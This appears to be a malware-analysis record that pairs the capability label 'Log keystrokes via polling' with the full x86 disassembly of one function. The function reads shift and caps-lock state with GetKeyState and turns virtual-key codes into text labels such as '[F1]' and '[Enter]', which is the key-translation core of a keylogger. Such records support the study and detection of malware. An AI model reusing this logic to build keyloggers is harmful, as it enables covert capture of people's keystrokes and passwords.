Function at 0x40c785
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571d59
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x5d1124]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x40c663
mov eax, dword [esi]
jmp 0x40c665
mov eax, esi
push 0
push 0x5b3c90
mov byte [eax], 0
call fcn.0040bc70
mov dword [ebp - 4], 0
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
mov dword [ebp - 0x14], 1
call edi
movsx ecx, ax
lea eax, [ebx - 0xba]
shr ecx, 0x1f
mov dword [ebp - 0x10], ecx
cmp eax, 0x24
ja case.0x40c6ba.193
lea eax, [ebx - 0xba]
cmp eax, 0x24
ja case.0x40c6ba.193
movzx eax, byte [eax + 0x40cf60]
jmp dword [eax*4 + 0x40cf30]
test cl, cl
mov ecx, esi
push 1
je 0x40c6d3
push str.:___________
jmp 0x40c812
push 0x5b3d30
jmp 0x40c812
test cl, cl
mov ecx, esi
push 1
je 0x40c6ef
push 0x5b3d34
jmp 0x40c812
push 0x5b3d38
jmp 0x40c812
test cl, cl
mov ecx, esi
push 1
je 0x40c70b
push 0x5b3d3c
jmp 0x40c812
push 0x5b3d40
jmp 0x40c812
test cl, cl
mov ecx, esi
push 1
je 0x40c727
push 0x5b3d44
jmp 0x40c812
push 0x5b3d48
jmp 0x40c812
test cl, cl
mov ecx, esi
push 1
je 0x40c743
push 0x5b3d4c
jmp 0x40c812
push 0x5b3be4
jmp 0x40c812
test cl, cl
mov ecx, esi
push 1
je 0x40c75f
push 0x5b3d50
jmp 0x40c812
push 0x5b3d54
jmp 0x40c812
test cl, cl
mov ecx, esi
push 1
je 0x40c77b
push 0x5b3d58
jmp 0x40c812
push 0x5b3d5c
jmp 0x40c812
test cl, cl
mov ecx, esi
push 1
je 0x40c794
push 0x5b3d60
jmp 0x40c812
push 0x5b3d64
jmp 0x40c812
test cl, cl
mov ecx, esi
push 1
je 0x40c7aa
push 0x5b3d68
jmp 0x40c812
push 0x5b3bdc
jmp 0x40c812
test cl, cl
mov ecx, esi
push 1
je 0x40c7c0
push 0x5b3d6c
jmp 0x40c812
push 0x5b3d70
jmp 0x40c812
test cl, cl
je 0x40c809
cmp dword [esi + 0x14], 1
jae 0x40c7dd
push dword [esi + 0x10]
mov ecx, esi
push 1
call fcn.0040bee0
cmp dword [esi + 0x14], 0x10
jb 0x40c7e7
mov eax, dword [esi]
jmp 0x40c7e9
mov eax, esi
mov byte [eax], 0x22
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 1
jb 0x40c801
mov eax, dword [esi]
mov byte [eax + 1], 0
jmp case.0x40c6ba.193
mov eax, esi
mov byte [eax + 1], 0
jmp case.0x40c6ba.193
push 1
push 0x5b3d74
mov ecx, esi
call fcn.0040bc70
cmp ebx, 0x1b
jne 0x40c82f
push 5
push 0x5b3d78
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x70
jne 0x40c847
push 4
push str._F1_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x71
jne 0x40c85f
push 4
push str._F2_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x72
jne 0x40c877
push 4
push str._F3_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x73
jne 0x40c88f
push 4
push str._F4_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x74
jne 0x40c8a7
push 4
push str._F5_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x75
jne 0x40c8bf
push 4
push str._F6_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x76
jne 0x40c8d7
push 4
push str._F7_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x77
jne 0x40c8ef
push 4
push str._F8_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x78
jne 0x40c907
push 4
push str._F9_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x79
jne 0x40c91f
push 5
push str._F10_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x7a
jne 0x40c937
push 5
push str._F11_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x7b
jne 0x40c94f
push 5
push str._F12_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x2c
jne 0x40c967
push 8
push str._PrScrn_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x91
jne 0x40c982
push 0xd
push str._Scroll_Lock_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x13
jne 0x40c99a
push 7
push str._Pause_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x14
jne 0x40c9b2
push 0xb
push str._Caps_Lock_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 8
jne 0x40c9ca
push 0xb
push str._Backspace_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0xd
jne 0x40c9e2
push 8
push str._Enter__n
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x20
jne 0x40c9fa
push 1
push 0x5b3c0c
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 9
jne 0x40ca12
push 5
push str._Tab_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0xa2
jne 0x40ca2d
push 6
push str._Ctrl_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0xa3
jne 0x40ca48
push 6
push str._CTRL_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0xa4
jne 0x40ca63
push 5
push str._Alt_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x5b
jne 0x40ca7b
push 5
push str._Win_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x5c
jne 0x40ca93
push 5
push str._WIN_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x5d
jne 0x40caab
push 4
push 0x5b3e58
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x2d
jne 0x40cac3
push 8
push str._Insert_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x2e
jne 0x40cadb
push 8
push str._Delete_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x24
jne 0x40caf3
push 6
push str._Home_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x23
jne 0x40cb0b
push 5
push str._End_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x21
jne 0x40cb23
push 6
push str._PgUp_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x22
jne 0x40cb3b
push 8
push str._PgDown_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 3
jne 0x40cb53
push 8
push str._Cancel_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0xc
jne 0x40cb6b
push 7
push str._Clear_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x29
jne 0x40cb83
push 8
push str._Select_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x2a
jne 0x40cb9b
push 7
push str._Print_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x2b
jne 0x40cbb3
push 9
push str._Execute_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x25
jne 0x40cbcb
push 4
push 0x5b3ed0
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x27
jne 0x40cbe3
push 4
push 0x5b3ed8
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x26
jne 0x40cbfb
push 4
push 0x5b3ee0
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x28
jne 0x40cc13
push 4
push 0x5b3ee8
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x90
jne 0x40cc2e
push 9
push str._NumLock_
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x6b
jne 0x40cc46
push 1
push 0x5b3d34
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x6d
jne 0x40cc5e
push 1
push 0x5b3d48
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x6a
jne 0x40cc76
push 1
push 0x5b3d1c
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x6f
jne 0x40cc8e
push 1
push 0x5b3d54
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0xbe
je 0x40ce91
cmp ebx, 0x6e
je 0x40ce91
cmp ebx, 0x60
jne 0x40ccbb
push 1
push str.0123456789______
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x61
jne 0x40ccd3
push 1
push 0x5b3f00
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x62
jne 0x40cceb
push 1
push 0x5b3f04
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x63
jne 0x40cd03
push 1
push 0x5b3f08
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x64
jne 0x40cd1b
push 1
push 0x5b3f0c
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x65
jne 0x40cd33
push 1
push 0x5b3f10
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x66
jne 0x40cd4b
push 1
push 0x5b3f14
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x67
jne 0x40cd63
push 1
push 0x5b3f18
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x68
jne 0x40cd7b
push 1
push 0x5b3f1c
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
cmp ebx, 0x69
jne 0x40cd93
push 1
push 0x5b3f20
mov ecx, esi
call fcn.0040bc70
jmp 0x40cea4
lea eax, [ebx - 0x61]
cmp eax, 0x19
ja 0x40ce1a
push 0x14
call edi
test ax, ax
je 0x40cdc6
cmp byte [ebp - 0x10], 0
je 0x40cdcc
cmp dword [esi + 0x14], 1
jae 0x40cdbc
push dword [esi + 0x10]
mov ecx, esi
push 1
call fcn.0040bee0
cmp dword [esi + 0x14], 0x10
jb 0x40cdf3
mov eax, dword [esi]
jmp 0x40cdf5
cmp byte [ebp - 0x10], 0
je 0x40cdaa
cmp dword [esi + 0x14], 1
jae 0x40cdde
push dword [esi + 0x10]
mov ecx, esi
push 1
call fcn.0040bee0
cmp dword [esi + 0x14], 0x10
lea eax, [ebx - 0x20]
jb 0x40cded
mov ecx, dword [esi]
mov byte [ecx], al
jmp 0x40cdf7
mov ecx, esi
mov byte [ecx], al
jmp 0x40cdf7
mov eax, esi
mov byte [eax], bl
mov dword [esi + 0x10], 1
cmp dword [esi + 0x14], 0x10
jb 0x40ce0f
mov eax, dword [esi]
mov byte [eax + 1], 0
jmp case.default.0x40ce30
mov eax, esi
mov byte [eax + 1], 0
jmp case.default.0x40ce30
lea eax, [ebx - 0x30]
cmp eax, 9
ja case.default.0x40ce30
cmp byte [ebp - 0x10], 0
je 0x40cdaa
lea eax, [ebx - 0x30]
cmp eax, 9
ja case.default.0x40ce30
jmp dword [eax*4 + 0x40cf88]
push 1
push 0x5b3f24
jmp 0x40ce98
push 1
push 0x5b3f28
jmp 0x40ce98
push 1
push 0x5b3f2c
jmp 0x40ce98
push 1
push 0x5b3f30
jmp 0x40ce98
push 1
push 0x5b3f34
jmp 0x40ce98
push 1
push 0x5b3f38
jmp 0x40ce98
push 1
push 0x5b3f3c
jmp 0x40ce98
push 1
push 0x5b3f40
jmp 0x40ce98
push 1
push 0x5b3d1c
jmp 0x40ce98
push 1
push 0x5b3f44
jmp 0x40ce98
push 1
push 0x5b3be4
mov ecx, esi
call fcn.0040bc70
cmp ebx, 1
je 0x40cf1a
lea eax, [ebx - 0x41]
cmp eax, 0x19
ja 0x40cf1a
push 0x14
call edi
test ax, ax
je 0x40ceda
cmp byte [ebp - 0x10], 0
je 0x40cee3
cmp dword [esi + 0x14], 1
jae 0x40cecd
push dword [esi + 0x10]
mov ecx, esi
push 1
call fcn.0040bee0
add bl, 0x20
cmp dword [esi + 0x14], 0x10
jb 0x40ceff
mov eax, dword [esi]
jmp 0x40cf01
cmp byte [ebp - 0x10], 0
jne 0x40cee3
add ebx, 0x20
cmp dword [esi + 0x14], 1
jae 0x40cef5
push dword [esi + 0x10]
mov ecx, esi
push 1
call fcn.0040bee0
cmp dword [esi + 0x14], 0x10
jb 0x40ceff
mov eax, dword [esi]
jmp 0x40cf01
mov eax, esi
mov byte [eax], bl
mov dword [esi + 0x10], 1
cmp dword [esi + 0x14], 0x10
jb 0x40cf14
mov eax, dword [esi]
jmp 0x40cf16
mov eax, esi
mov byte [eax + 1], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret